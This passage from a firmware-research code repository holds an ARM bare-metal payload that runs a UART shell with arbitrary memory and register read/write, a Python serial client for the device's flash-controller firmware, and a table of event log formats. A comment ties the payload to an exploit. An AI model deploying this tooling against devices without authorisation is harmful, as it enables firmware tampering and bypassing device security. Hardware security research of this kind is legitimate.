| *data = regs_->reg0; 160 | return true; 161 | } 162 | bool read(u8* data, u32 len, Timeout timeout = (Timeout)1000000) { 163 | auto p = data; 164 | while (p != data + len) { 165 | if (!read_byte(p++, timeout)) { 166 | return false; 167 | } 168 | } 169 | return true; 170 | } 171 | template 172 | bool read(T* data) { 173 | return read((u8*)data, sizeof(T)); 174 | } 175 | 176 | Regs* regs_{}; 177 | }; 178 | 179 | struct BcmMbox { 180 | // write-only 181 | // arg 14: linked-list dma host-read pointer 182 | // arg 15: linked-list dma host-write pointer 183 | vu32 args[16]; 184 | vu32 cmd; 185 | vu32 reserved[60 / 4]; 186 | // read-only 187 | vu32 return_status; 188 | vu32 status[16]; 189 | vu32 fifo_status; 190 | // write-to-clear 191 | vu32 host_intp_reg; 192 | vu32 host_intp_mask; 193 | vu32 host_exct_addr; 194 | // read-only 195 | vu32 sp_trust_reg; 196 | vu32 wtm_id; 197 | vu32 wtm_revision; 198 | }; 199 | 200 | struct Bcm { 201 | u32 send_cmd(u32 cmd, u32 timeout = 10000) { 202 | mbox.cmd = cmd; 203 | if (!wait(timeout)) { 204 | return UINT32_MAX; 205 | } 206 | return mbox.return_status; 207 | } 208 | bool wait(u32 timeout) { 209 | u32 retries = 0; 210 | while ((mbox.host_intp_reg & 1) == 0) { 211 | if (retries++ >= timeout) { 212 | return false; 213 | } 214 | } 215 | // try to ack everything 216 | mbox.host_intp_reg = 0xffffffff; 217 | return true; 218 | } 219 | void aes_process(u8* buf_in, u8* buf_out, u32 len, u32 flag, u32 flag2) { 220 | mbox.args[0] = (u32)buf_in; 221 | mbox.args[1] = (u32)buf_out; 222 | mbox.args[2] = len; 223 | // 0: use previous context, 1: new ctx 224 | mbox.args[3] = flag; 225 | mbox.args[4] = 0; 226 | mbox.args[5] = 0; 227 | mbox.args[6] = 0x10000000; // ? 228 | mbox.args[7] = 0; 229 | mbox.args[8] = flag2; // ? 230 | // hmmm (dma linked list) 231 | mbox.args[14] = 0; 232 | mbox.args[15] = 0; 233 | send_cmd(14); 234 | } 235 | BcmMbox& mbox{*(BcmMbox*)0x19000000}; 236 | }; 237 | 238 | struct UartServer { 239 | bool ping() { 240 | u32 val; 241 | if (!uart_.read(&val)) { 242 | return false; 243 | } 244 | uart_.write(val + 1); 245 | return true; 246 | } 247 | template 248 | bool read_into_mem(u32 addr, u32 count) { 249 | while (count--) { 250 | T val; 251 | if (!uart_.read(&val)) { 252 | return false; 253 | } 254 | *(T*)addr = val; 255 | addr += sizeof(T); 256 | } 257 | return true; 258 | } 259 | template 260 | void write_from_mem(u32 addr, u32 count) { 261 | while (count--) { 262 | T val = *(T*)addr; 263 | addr += sizeof(T); 264 | uart_.write(val); 265 | } 266 | } 267 | bool mem_access() { 268 | struct [[gnu::packed]] { 269 | u32 addr; 270 | u32 count; 271 | u8 stride; 272 | u8 is_write; 273 | } req{}; 274 | if (!uart_.read(&req)) { 275 | return false; 276 | } 277 | bool ok = true; 278 | if (req.is_write) { 279 | switch (req.stride) { 280 | case 1: 281 | ok = read_into_mem(req.addr, req.count); 282 | break; 283 | // case 2: ok = read_into_mem(req.addr, req.count); break; 284 | case 4: 285 | ok = read_into_mem(req.addr, req.count); 286 | break; 287 | } 288 | } else { 289 | switch (req.stride) { 290 | case 1: 291 | write_from_mem(req.addr, req.count); 292 | break; 293 | // case 2: write_from_mem(req.addr, req.count); break; 294 | case 4: 295 | write_from_mem(req.addr, req.count); 296 | break; 297 | } 298 | } 299 | return ok; 300 | } 301 | enum CpReg : u8 { 302 | kDBGDRAR, 303 | kDBGDSAR, 304 | kDBGPRCR, 305 | kMIDR, 306 | kSCTLR, 307 | kACTLR, 308 | kVBAR, 309 | kCPSR, 310 | }; 311 | bool reg_read() { 312 | u8 reg{}; 313 | if (!uart_.read(®)) { 314 | return false; 315 | } 316 | u32 val{}; 317 | switch (reg) { 318 | #define SR_READ(name) \ 319 | case k##name: \ 320 | val = arm_rsr(name); \ 321 | break; 322 | SR_READ(DBGDRAR); 323 | SR_READ(DBGDSAR); 324 | SR_READ(DBGPRCR); 325 | SR_READ(MIDR); 326 | SR_READ(SCTLR); 327 | SR_READ(ACTLR); 328 | SR_READ(VBAR); 329 | case kCPSR: 330 | val = arm_cpsr_read(); 331 | break; 332 | default: 333 | val = 0xcacacaca; 334 | break; 335 | #undef SR_READ 336 | } 337 | uart_.write(val); 338 | return true; 339 | } 340 | bool reg_write() { 341 | u8 reg{}; 342 | if (!uart_.read(®)) { 343 | return false; 344 | } 345 | // NOTE: At least EAP requires alignment (if reading as packed struct, the 346 | // load of |val| into a register to perform the MCR would die) 347 | u32 val{}; 348 | if (!uart_.read(&val)) { 349 | return false; 350 | } 351 | switch (reg) { 352 | #define SR_WRITE(name) \ 353 | case k##name: \ 354 | arm_wsr(name, val); \ 355 | break; 356 | SR_WRITE(DBGPRCR); 357 | SR_WRITE(SCTLR); 358 | SR_WRITE(ACTLR); 359 | SR_WRITE(VBAR); 360 | default: 361 | return false; 362 | #undef SR_WRITE 363 | } 364 | return true; 365 | } 366 | bool int_disable() { 367 | asm volatile("cpsid aif" : : : "memory"); 368 | return true; 369 | } 370 | bool int_enable() { 371 | asm volatile("cpsie aif" : : : "memory"); 372 | return true; 373 | } 374 | bool dabort_status() { 375 | uart_.write(g_abort_status); 376 | g_abort_status = {}; 377 | return true; 378 | } 379 | [[noreturn]] void run() { 380 | while (1) { 381 | u32 cmd; 382 | if (!uart_.read(&cmd)) { 383 | continue; 384 | } 385 | using handler_t = bool (UartServer::*)(); 386 | handler_t handlers[] = { 387 | &UartServer::ping, &UartServer::mem_access, 388 | &UartServer::reg_read, &UartServer::reg_write, 389 | &UartServer::int_disable, &UartServer::int_enable, 390 | &UartServer::dabort_status, 391 | }; 392 | if (cmd >= std::size(handlers)) { 393 | continue; 394 | } 395 | (this->*handlers[cmd])(); 396 | } 397 | } 398 | Uart uart_; 399 | }; 400 | 401 | extern "C" { 402 | [[noreturn]] void uart_server() { 403 | auto server = UartServer(); 404 | server.run(); 405 | } 406 | 407 | [[noreturn]] static void die(const char* reason) { 408 | auto uart = Uart(); 409 | uart.write(reason); 410 | while (true) { 411 | } 412 | } 413 | void exception_reset() {} 414 | [[gnu::interrupt("UNDEF")]] void exception_undef() { 415 | die("undef"); 416 | } 417 | [[gnu::interrupt("SWI")]] void exception_swi() { 418 | die("swi"); 419 | } 420 | [[gnu::interrupt("ABORT")]] void exception_pabort() { 421 | die("pabort"); 422 | } 423 | [[gnu::interrupt("ABORT")]] void exception_dabort() { 424 | g_abort_status = { 425 | .addr = arm_rsr(DFAR), 426 | .status = arm_rsr(DFSR), 427 | }; 428 | } 429 | [[gnu::interrupt("IRQ")]] void exception_irq() { 430 | die("irq"); 431 | } 432 | [[gnu::interrupt("FIQ")]] void exception_fiq() { 433 | die("fiq"); 434 | } 435 | 436 | void install_exception_handlers_efc() { 437 | // overwrite the constant pool in a0tcm 438 | using handler_t = void (*)(void); 439 | const handler_t handlers[]{exception_reset, exception_undef, exception_swi, 440 | exception_pabort, exception_dabort, exception_irq, 441 | exception_fiq}; 442 | auto ptrs = (handler_t*)0x20; 443 | for (size_t i = 0; i < std::size(handlers); i++) { 444 | #pragma GCC diagnostic push 445 | #pragma GCC diagnostic ignored "-Warray-bounds" 446 | ptrs[i] = handlers[i]; 447 | #pragma GCC diagnostic pop 448 | } 449 | } 450 | 451 | [[noreturn]] void entry() { 452 | // Reach here in SVC mode(on EAP, SYS on EFC?) with SP in dram. 453 | // MMU and caches are disabled. 454 | // IRQ/FIQ are masked. 455 | u32 tmp0, tmp1; 456 | asm volatile( 457 | #if defined(CPU_EFC) 458 | ".cpu cortex-r5\n" 459 | #elif defined(CPU_EAP) 460 | ".cpu cortex-a7\n" 461 | #endif 462 | ".syntax unified\n" 463 | ".arm\n" 464 | 465 | ".equ MASK_AIF, (1 << 8) | (1 << 7) | (1 << 6)\n" 466 | ".equ MODE_ABORT, 0b10111\n" 467 | ".equ MODE_SVC, 0b10011\n" 468 | 469 | "setup_stacks:\n" 470 | // save sp 471 | "mov %1, sp\n" 472 | // abort 473 | "mov %0, MASK_AIF | MODE_ABORT\n" 474 | "msr cpsr_c, %0\n" 475 | "add sp, %1, 0x1100\n" 476 | // svc 477 | "mov %0, MASK_AIF | MODE_SVC\n" 478 | "msr cpsr_c, %0\n" 479 | // move svc sp a bit so we can relaunch the exploit in same location after 480 | // reset (for EAP) 481 | "add sp, %1, 0x1000\n" 482 | 483 | #if defined(CPU_EFC) 484 | "bl install_exception_handlers_efc\n" 485 | #elif defined(CPU_EAP) 486 | // set vbar 487 | "ldr %0, =vbar_dram\n" 488 | "mcr p15, 0, %0, c12, c0, 0\n" 489 | #endif 490 | "b uart_server\n" 491 | 492 | #if defined(CPU_EAP) 493 | ".align 5\n" 494 | "vbar_dram:\n" 495 | "b exception_reset\n" 496 | "b exception_undef\n" 497 | "b exception_swi\n" 498 | "b exception_pabort\n" 499 | "b exception_dabort\n" 500 | "nop\n" 501 | "b exception_irq\n" 502 | "b exception_fiq\n" 503 | #endif 504 | : "=r"(tmp0), "=r"(tmp1)); 505 | __builtin_unreachable(); 506 | } 507 | } -------------------------------------------------------------------------------- /bin_blobs/uart_shell.ld: -------------------------------------------------------------------------------- 1 | ENTRY(entry) 2 | SECTIONS { 3 | .code 0x58000000 : { 4 | *(.text.entry) 5 | *(.text*) 6 | *(.*data*) 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /efc_fw.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from efc_fw_event import EVENT_FORMATS 3 | from pathlib import Path 4 | from serial import Serial 5 | from threading import Thread 6 | from queue import Queue 7 | from hexdump import hexump 8 | import sys 9 | import struct 10 | 11 | 12 | class Efc: 13 | def __init__(self): 14 | self.debug = False 15 | import datetime 16 | 17 | self.log_file = ( 18 | Path(__file__) 19 | .parent.joinpath(f"efc_logs/efc_log_{datetime.datetime.now()}.txt") 20 | .open("a") 21 | ) 22 | # self.port = pyftdi.serialext.serial_for_url('ftdi://ftdi:232:AD5V3R0X/1', baudrate=460800) 23 | self.port = Serial("COM19", baudrate=460800) 24 | self.port.timeout = 0.05 25 | self.rx_queue = Queue() 26 | self.rx_buf = bytes() 27 | Thread(target=self._reader, daemon=True).start() 28 | 29 | def _reader(self): 30 | while True: 31 | data = self.port.read(0x1000) 32 | if data is None or len(data) == 0: 33 | continue 34 | self.rx_queue.put(data) 35 | 36 | def _rx_sync(self, min_bytes): 37 | while len(self.rx_buf) < min_bytes: 38 | self.rx_buf += self.rx_queue.get() 39 | 40 | def _rx_discard_all(self): 41 | while True: 42 | try: 43 | self.rx_queue.get(block=False) 44 | except: 45 | break 46 | 47 | def _dump_stream(self): 48 | print("rx_buf") 49 | hexdump(self.rx_buf) 50 | sys.stdout.flush() 51 | 52 | while True: 53 | buf = self.rx_queue.get() 54 | hexdump(buf) 55 | sys.stdout.flush() 56 | 57 | def _read(self, size): 58 | self._rx_sync(size) 59 | data = self.rx_buf[:size] 60 | self.rx_buf = self.rx_buf[size:] 61 | return data 62 | 63 | def _read_word(self): 64 | return self._read(4) 65 | 66 | def _read32(self): 67 | return int.from_bytes(self._read_word(), "big") 68 | 69 | def _read_str(self, term=b"\0"): 70 | null_term = term == b"\0" 71 | data = b"" 72 | while True: 73 | # bit of a hack because newline-terminated 74 | # strings don't pad their length 75 | data += self._read(4 if null_term else 1) 76 | term_pos = data.find(term) 77 | if term_pos < 0: 78 | continue 79 | data = data[:term_pos] 80 | try: 81 | data = data.decode("ascii") 82 | except: 83 | data = "DECODE_FAILED(" + data.hex() + ")" 84 | return data 85 | 86 | def _read_line(self): 87 | return self._read_str(b"\r\n") 88 | 89 | def _read_event_hdr(self): 90 | event_id = self._read32() 91 | timestamp = self._read32() 92 | if self.debug: 93 | print(f"> event: {event_id:#8x} ts:{timestamp:8x}") 94 | return event_id 95 | 96 | def _read_event(self): 97 | event_id = self._read_event_hdr() 98 | event_fmt = EVENT_FORMATS.get(event_id) 99 | if event_fmt is None: 100 | print(f"unknown event {event_id:#8x}", flush=True) 101 | # self._dump_stream() 102 | # try to find next known event and resync 103 | while True: 104 | event_id = self._read32() 105 | event_fmt = EVENT_FORMATS.get(event_id) 106 | if event_fmt is not None: 107 | # discard timestamp 108 | timestamp = self._read32() 109 | # print(f'RESYNC {event_id:#8x} @ {timestamp:x}', flush=True) 110 | break 111 | print(f"{event_id:8x}", flush=True) 112 | 113 | parsers = (self._read32, self._read_str) 114 | args = [] 115 | for i in range(event_fmt.argc): 116 | args.append(parsers[(event_fmt.arg_types >> i) & 1]()) 117 | 118 | if event_fmt.fmt is None: 119 | pretty_args = [] 120 | for arg in args: 121 | if isinstance(arg, str): 122 | pretty_args.append(f'"{arg}"') 123 | else: 124 | pretty_args.append(f"{arg:#8x}") 125 | pretty_args = ",".join(pretty_args) 126 | print(f"event {event_id:#8x} [{pretty_args}]", flush=True) 127 | else: 128 | formatted = event_fmt.fmt.format(*args) 129 | print(formatted, end="", flush=True) 130 | print(formatted, end="", flush=True, file=self.log_file) 131 | 132 | if event_id == 0x65A14003: 133 | # MemPrintf will spew to uart 134 | # note: for AHB periph port they forgot the newline... 135 | for i in range(4): 136 | l = self._read_line() 137 | print(l, flush=True) 138 | if l.find("External Abort") >= 0: 139 | l = self._read_line() 140 | print(l, flush=True) 141 | 142 | return event_id 143 | 144 | def _process_events(self, term=None): 145 | while True: 146 | event_id = self._read_event() 147 | if event_id == term: 148 | break 149 | 150 | def cmd(self, cmd): 151 | cmd += "\r" 152 | self.port.write(bytes(cmd, "ascii")) 153 | # discard echo (and extra newline that efc adds) 154 | echo = self._read(len(cmd) + 1) 155 | print("echo", echo.hex()) 156 | # wait for prompt...gets sent twice 157 | self._process_events(0x10A82000) 158 | self._process_events(0x10A82000) 159 | 160 | def help(self): 161 | self.cmd("help") 162 | 163 | def info(self): 164 | self.cmd("info") 165 | 166 | def show_debug(self): 167 | self.cmd("showdebug") 168 | 169 | def read_id(self): 170 | self.cmd("id") 171 | 172 | def read_param_page(self, addr=0x40, size=0x100): 173 | # arg2 is dst addr 174 | self.cmd(f"rdpp {addr:x} {size:x}") 175 | 176 | def _indirect_read_write_erase(self, op, ch, dev, row, dst=None): 177 | l = f"idrw {op:x} {ch:x} {dev:x} {row:x}" 178 | if dst is not None: 179 | l += f" {dst:x}" 180 | self.cmd(l) 181 | 182 | def indirect_read(self, ch, dev, row, dst=None): 183 | # HalNfCtrl_ReadPageIm(addr={ch, dev, col=0, row}, dst, count=0x1000) 184 | self._indirect_read_write_erase(0, ch, dev, row, dst) 185 | 186 | def pkg_cfg_auto(self): 187 | self.cmd("pkgcfg") 188 | 189 | def pkg_cfg(self, data_if, xfer_mode): 190 | # data_if: NfIfData_t, xfer_mode: NfXferMode_t 191 | self.cmd(f"pkgcfg 1 {data_if:x} {xfer_mode:x}") 192 | 193 | def read_mem(self, addr, count, width): 194 | self.cmd(f"rmem {addr:x} {count:x} {width:x}") 195 | 196 | def write_mem(self, addr, val, width): 197 | self.cmd(f"wmem {addr:x} {val:x} {width:x}") 198 | 199 | def mem_read32(self, addr): 200 | self.read_mem(addr, 1, 4) 201 | 202 | def mem_read_buf(self, addr, size): 203 | self.read_mem(addr, size, 1) 204 | 205 | def mem_write8(self, addr, val: int): 206 | self.write_mem(addr, val, 1) 207 | 208 | def mem_write32(self, addr, val: int): 209 | self.write_mem(addr, val, 4) 210 | 211 | def mem_write_buf(self, addr, buf: bytes): 212 | num_dwords = len(buf) // 4 213 | for i in range(num_dwords): 214 | o = i * 4 215 | self.mem_write32(addr + o, struct.unpack_from(" SWI @{:#x} cpu={:d} sp={:#x} swi#={:#x}\n'), 247 | 0x65A14002: EventFmt(7, 0, 248 | 'ERROR: P-ABORT @{:#x} cpu={:d} sp={:#x} ifaddr={:#x} ifstatus={:#x}\n'), 249 | 0x65A14003: EventFmt(7, 0, 250 | 'ERROR: D-ABORT @{:#x} cpu={:d} sp={:#x} dfaddr={:#x} dfstatus={:#x}\n'), 251 | 0x65A14004: EventFmt(1, 0, 'ERROR:Unrecoverable error\n'), 252 | 0x65A14005: EventFmt(5, 0, 253 | 'ERROR: DIV BY ZERO exception @{:#x} sp={:#x}, CpuId = {:d}\n'), 254 | 0x65A14006: EventFmt(5, 0, 255 | 'ERROR: UNDEF INST @{:#x} sp={:#x} CpuId = {:d}\n'), 256 | 0x689A2013: EventFmt(1), 257 | 0x689A2014: EventFmt(1), 258 | 0x689A2015: EventFmt(1), 259 | 0x6DBE2081: EventFmt(1), 260 | 0x6DBE2082: EventFmt(1), 261 | 0x6DBE2083: EventFmt(3), 262 | 0x6DBE2084: EventFmt(5), 263 | 0x6DBE2085: EventFmt(4), 264 | 0x6DBE2086: EventFmt(8), 265 | 0x6DBE2087: EventFmt(4), 266 | 0x70652000: EventFmt(2), 267 | 0x75962000: EventFmt(1, 0, 'DUMP:\n'), 268 | 0x75962001: EventFmt(3, 0, '{:c} {:08x}'), 269 | 0x75962002: EventFmt(2, 0, ' {:02x}'), 270 | 0x75962003: EventFmt(2, 0, ' {:04x}'), 271 | 0x75962004: EventFmt(2, 0, ' {:08x}'), 272 | 0x75962005: EventFmt(1, 0, '\n'), 273 | 0x7B012003: EventFmt(2), 274 | 0x7B012004: EventFmt(5), 275 | 0x7B902000: EventFmt(1, 0, 'IRQ_Stack1\n'), 276 | 0x7B902001: EventFmt(1, 0, 'ABT_Stack1\n'), 277 | 0x7B902002: EventFmt(1, 0, 'UDF_Stack1\n'), 278 | 0x7B902003: EventFmt(1, 0, 'SVC_Stack1\n'), 279 | 0x7B902004: EventFmt(1, 0, 'SYS_Stack1\n'), 280 | 0x7B902005: EventFmt(1, 0, 'FIQ_Stack1\n'), 281 | 0x7B902006: EventFmt(1, 0, 'WUP_Stack1\n'), 282 | 0x7FF02007: EventFmt(2), 283 | 0x7FF02008: EventFmt(3), 284 | 0x7FF02009: EventFmt(11), 285 | 0x7FF0200A: EventFmt(4), 286 | 0x8022200D: EventFmt(1), 287 | 0x8022200E: EventFmt(2), 288 | 0x8022200F: EventFmt(2), 289 | 0x80222010: EventFmt(2), 290 | 0x80222011: EventFmt(2), 291 | 0x80222012: EventFmt(2), 292 | 0x80222013: EventFmt(2), 293 | 0x80222014: EventFmt(2), 294 | 0x80222015: EventFmt(2), 295 | 0x80222016: EventFmt(2), 296 | 0x80222017: EventFmt(2), 297 | 0x80222018: EventFmt(2), 298 | 0x80222019: EventFmt(2), 299 | 0x8022201A: EventFmt(2), 300 | 0x8022201B: EventFmt(2), 301 | 0x8022201C: EventFmt(2), 302 | 0x8022201D: EventFmt(1), 303 | 0x8022201E: EventFmt(2), 304 | 0x8022201F: EventFmt(1), 305 | 0x80222020: EventFmt(1), 306 | 0x80222021: EventFmt(2), 307 | 0x80222022: EventFmt(1), 308 | 0x80222023: EventFmt(1), 309 | 0x80222024: EventFmt(2), 310 | 0x80222025: EventFmt(1), 311 | 0x80222026: EventFmt(1), 312 | 0x80222027: EventFmt(2), 313 | 0x80222028: EventFmt(1), 314 | 0x80222029: EventFmt(2), 315 | 0x8022202A: EventFmt(2), 316 | 0x8022202B: EventFmt(1), 317 | 0x8022202C: EventFmt(2), 318 | 0x8022202D: EventFmt(2), 319 | 0x8022202E: EventFmt(1), 320 | 0x8022202F: EventFmt(1), 321 | 0x80222030: EventFmt(2), 322 | 0x80222031: EventFmt(1), 323 | 0x80222032: EventFmt(1), 324 | 0x80222033: EventFmt(2), 325 | 0x80222034: EventFmt(1), 326 | 0x80222035: EventFmt(1), 327 | 0x80222036: EventFmt(2), 328 | 0x80222037: EventFmt(1), 329 | 0x80222038: EventFmt(2), 330 | 0x80222039: EventFmt(2), 331 | 0x8022203A: EventFmt(2, 1), 332 | 0x8022203B: EventFmt(1), 333 | 0x8022203C: EventFmt(2), 334 | 0x8022203D: EventFmt(1), 335 | 0x8022203E: EventFmt(3), 336 | 0x8022203F: EventFmt(2), 337 | 0x80222040: EventFmt(2, 1), 338 | 0x80222041: EventFmt(5), 339 | 0x80222042: EventFmt(4), 340 | 0x80222043: EventFmt(2), 341 | 0x80222044: EventFmt(1), 342 | 0x80222045: EventFmt(2), 343 | 0x80222046: EventFmt(1), 344 | 0x80222047: EventFmt(1), 345 | 0x80222048: EventFmt(2), 346 | 0x80222049: EventFmt(1), 347 | 0x8022204A: EventFmt(1), 348 | 0x8022204B: EventFmt(2), 349 | 0x8022204C: EventFmt(1), 350 | 0x8022204D: EventFmt(1), 351 | 0x8022204E: EventFmt(2), 352 | 0x8022204F: EventFmt(1), 353 | 0x80222050: EventFmt(1), 354 | 0x80222051: EventFmt(2), 355 | 0x80222052: EventFmt(1), 356 | 0x80222053: EventFmt(2), 357 | 0x80222054: EventFmt(2), 358 | 0x80222055: EventFmt(1), 359 | 0x80222056: EventFmt(2), 360 | 0x80222057: EventFmt(2), 361 | 0x80222058: EventFmt(1), 362 | 0x80222059: EventFmt(2), 363 | 0x8022205A: EventFmt(2), 364 | 0x8022205B: EventFmt(1), 365 | 0x8022205C: EventFmt(2), 366 | 0x8022205D: EventFmt(2), 367 | 0x8022205E: EventFmt(1), 368 | 0x8022205F: EventFmt(2), 369 | 0x80222060: EventFmt(2), 370 | 0x80222061: EventFmt(1), 371 | 0x80222062: EventFmt(2), 372 | 0x80222063: EventFmt(2), 373 | 0x80222064: EventFmt(1), 374 | 0x8022407E: EventFmt(1, 0, 'ERROR:[Idle] 10kStart Error, track is using\n'), 375 | 0x80224083: EventFmt(3, 0, 'ERROR:PhaseIdle: Doesnt support! Qid:{:d} Cmd:{:d}\n'), 376 | 0x80224084: EventFmt(4, 0, 'ERROR:nandCommandId {:#4x} channel {:#8x} <> {:#8x}\n'), 377 | 0x80224085: EventFmt(4, 0, 'ERROR:Doesnt support! Phase{:d} Qid:{:d} Cmd:{:d}\n'), 378 | 0x8022408A: EventFmt(3, 0, 'ERROR:Phase2-1: Doesnt support! Qid:{:d} Cmd:{:d}\n'), 379 | 0x8022408F: EventFmt(2, 0, 'ERROR:Phase2-2: NSID3 Doesnt support! Cmd:{:d}\n'), 380 | 0x8022408D: EventFmt(2, 0, 'ERROR:Phase2-2: NSID1 Doesnt support! Cmd:{:d}\n'), 381 | 0x80224091: EventFmt(2, 0, 'ERROR:Phase2-2: NSID2 Doesnt support! Cmd:{:d}\n'), 382 | 0x802240AC: EventFmt(3, 0, 'ERROR:Phase5-1: Doesnt support! Qid:{:d} Cmd:{:d}\n'), 383 | 0x80224095: EventFmt(1, 0, 'ERROR:Phase5: cPhase5LocalState1 timeout!\n'), 384 | 0x80224096: EventFmt(1, 0, 'ERROR:Phase5: cPhase5LocalState2End timeout!\n'), 385 | 0x8022409E: EventFmt(1, 0, 'ERROR:Phase5: cPhase5LocalState3End timeout!\n'), 386 | 0x833D2000: EventFmt(2), 387 | 0x833D2001: EventFmt(5), 388 | 0x833D2002: EventFmt(2), 389 | 0x833D2003: EventFmt(3), 390 | 0x833D2004: EventFmt(5), 391 | 0x833D2005: EventFmt(3), 392 | 0x833D2006: EventFmt(3), 393 | 0x833D2007: EventFmt(3), 394 | 0x833D2008: EventFmt(5), 395 | 0x833D2009: EventFmt(4), 396 | 0x833D200a: EventFmt(4), 397 | 0x85F7200D: EventFmt(6, 1), 398 | 0x85F7300E: EventFmt(6), 399 | 0x85F7300F: EventFmt(6), 400 | 0x85F73010: EventFmt(12), 401 | 0x85F73011: EventFmt(6, 8), 402 | 0x85F72012: EventFmt(12), 403 | 0x85F72013: EventFmt(5, 1), 404 | 0x85F72014: EventFmt(8, 1), 405 | 0x85F73015: EventFmt(5, 1), 406 | 0x85F73016: EventFmt(6, 1), 407 | 0x85f72017: EventFmt(2), 408 | 0x85F72018: EventFmt(3), 409 | 0x8FA32037: EventFmt(1), 410 | 0x8FA32038: EventFmt(2), 411 | 0x9F2B2000: EventFmt(3, 1), 412 | 0xA1922003: EventFmt(1), 413 | 0xA34E2000: EventFmt(2, 1), 414 | 0xA34E2001: EventFmt(8), 415 | 0xADBE200B: EventFmt(1), 416 | 0xADBE200C: EventFmt(2), 417 | 0xADBE200D: EventFmt(2, 1), 418 | 0xADBE200E: EventFmt(2), 419 | 0xADBE200F: EventFmt(2, 1), 420 | 0xADBE2010: EventFmt(2), 421 | 0xADBE2011: EventFmt(2), 422 | 0xADBE2012: EventFmt(2), 423 | 0xADBE2013: EventFmt(2), 424 | 0xADBE2014: EventFmt(2), 425 | 0xADBE2015: EventFmt(1), 426 | 0xADBE2016: EventFmt(6), 427 | 0xADBE2017: EventFmt(6), 428 | 0xADBE2018: EventFmt(6), 429 | 0xADBE2019: EventFmt(6), 430 | 0xADBE201A: EventFmt(4), 431 | 0xADBE201B: EventFmt(4), 432 | 0xADBE201C: EventFmt(6), 433 | 0xADBE201D: EventFmt(6), 434 | 0xADBE201E: EventFmt(4), 435 | 0xADBE201F: EventFmt(4), 436 | 0xADBE2020: EventFmt(4), 437 | 0xADBE2021: EventFmt(4), 438 | 0xADBE2022: EventFmt(4), 439 | 0xADBE2023: EventFmt(4), 440 | 0xADBE2024: EventFmt(4), 441 | 0xADBE2025: EventFmt(6), 442 | 0xADBE2026: EventFmt(6), 443 | 0xADBE2027: EventFmt(4), 444 | 0xADBE2028: EventFmt(4), 445 | 0xADBE2029: EventFmt(4), 446 | 0xADBE202A: EventFmt(6), 447 | 0xADBE202B: EventFmt(6), 448 | 0xADBE202C: EventFmt(6), 449 | 0xADBE202D: EventFmt(6), 450 | 0xADBE202E: EventFmt(6), 451 | 0xADBE202F: EventFmt(6), 452 | 0xADBE2032: EventFmt(1), 453 | 0xADBE2033: EventFmt(3), 454 | 0xADBE2034: EventFmt(6), 455 | 0xADBE2041: EventFmt(1), 456 | 0xADBE2042: EventFmt(2), 457 | 0xADBE2043: EventFmt(1), 458 | 0xADBE2044: EventFmt(4), 459 | 0xADBE2045: EventFmt(1), 460 | 0xADBE2046: EventFmt(1), 461 | 0xADBE2047: EventFmt(1), 462 | 0xADBE2048: EventFmt(4), 463 | 0xADBE2049: EventFmt(1), 464 | 0xADBE204A: EventFmt(1), 465 | 0xADBE204B: EventFmt(1), 466 | 0xADBE204C: EventFmt(5), 467 | 0xADBE204D: EventFmt(5), 468 | 0xADBE204E: EventFmt(1), 469 | 0xADBE204F: EventFmt(2, 1), 470 | 0xADBE2050: EventFmt(12), 471 | 0xADBE2051: EventFmt(1), 472 | 0xADBE2052: EventFmt(1), 473 | 0xB02B2000: EventFmt(1), 474 | 0xB02B2001: EventFmt(5), 475 | 0xB02B2002: EventFmt(5), 476 | 0xB02B2003: EventFmt(2), 477 | 0xB02B2004: EventFmt(1), 478 | 0xB02B2005: EventFmt(1), 479 | 0xB02B2006: EventFmt(1), 480 | 0xB02B2007: EventFmt(2), 481 | 0xB02B2009: EventFmt(7), 482 | 0xB02B200B: EventFmt(4), 483 | 0xB02B200E: EventFmt(4), 484 | 0xB02B200F: EventFmt(5), 485 | 0xB02B201A: EventFmt(7), 486 | 0xB02B201C: EventFmt(5), 487 | 0xB02B201E: EventFmt(1), 488 | 0xB02B4011: EventFmt(4), 489 | 0xB02B401B: EventFmt(2), 490 | 0xB02B401D: EventFmt(4), 491 | 0xB3F62000: EventFmt(3, 0, 'PkgCfg req ifData {} xferMode {}\n'), 492 | 0xB3F62001: EventFmt(3, 0, 'PkgCfg cur ifData {} xferMode {}\n'), 493 | 0xB3F62002: EventFmt(3), 494 | 0xB3F62003: EventFmt(1), 495 | 0xB3F62004: EventFmt(1), 496 | 0xB3F6200F: EventFmt(4), 497 | 0xB3F62010: EventFmt(4), 498 | 0xB3F6201D: EventFmt(7, 0, 'SequencerReadWriteErase {} {} {} {} {} {}\n'), # T 499 | 0xB3F6201F: EventFmt(7, 0, 'SequencerReadWriteErase {} {} {} {} {} {}\n'), 500 | 0xB3F62064: EventFmt(1, 0, 'FwDataRW bad arg0\n'), 501 | 0xB3F62066: EventFmt(2, 0, 'FwDataRW bad arg1 (fw)\n'), 502 | 0xB3F62067: EventFmt(3, 0, 'FwDataRW buf {:x} size {:x}\n'), 503 | 0xB5AF2007: EventFmt(1), 504 | 0xB5AF2008: EventFmt(1), 505 | 0xB6BD2004: EventFmt(1), 506 | 0xB6BD2005: EventFmt(2), 507 | 0xB6BD2006: EventFmt(2), 508 | 0xB6BD2007: EventFmt(2), 509 | 0xB6BD2008: EventFmt(2), 510 | 0xB6BD2009: EventFmt(1), 511 | 0xB6BD200A: EventFmt(2), 512 | 0xB6BD200B: EventFmt(2), 513 | 0xB6BD200C: EventFmt(2), 514 | 0xB6BD200F: EventFmt(3), 515 | 0xB6BD2010: EventFmt(3), 516 | 0xB6BD2011: EventFmt(3), 517 | 0xB6BD400E: EventFmt(1, 0, 'ERROR:No Response from HW!!\n'), 518 | 0xB72D200A: EventFmt(3), 519 | 0xB72D200B: EventFmt(7), 520 | 0xc39f2001: EventFmt(7), 521 | 0xC39F2002: EventFmt(7), 522 | 0xC7C22003: EventFmt(9, 2), 523 | 0xC7C22004: EventFmt(2), 524 | 0xC7C22005: EventFmt(3), 525 | 0xC7C22006: EventFmt(1), 526 | 0xC82F2003: EventFmt(2), 527 | 0xC82F2004: EventFmt(10, 0x104), 528 | 0xCC482084: EventFmt(1), 529 | 0xCC482085: EventFmt(7), 530 | 0xCC482086: EventFmt(2, 1), 531 | 0xCC482087: EventFmt(2, 1), 532 | 0xCC482088: EventFmt(2, 1), 533 | 0xCC482089: EventFmt(2), 534 | 0xCC48208A: EventFmt(3), 535 | 0xCC48208B: EventFmt(3), 536 | 0xCC48208C: EventFmt(2), 537 | 0xCC48208D: EventFmt(2), 538 | 0xCC48208E: EventFmt(2), 539 | 0xCC48208F: EventFmt(2), 540 | 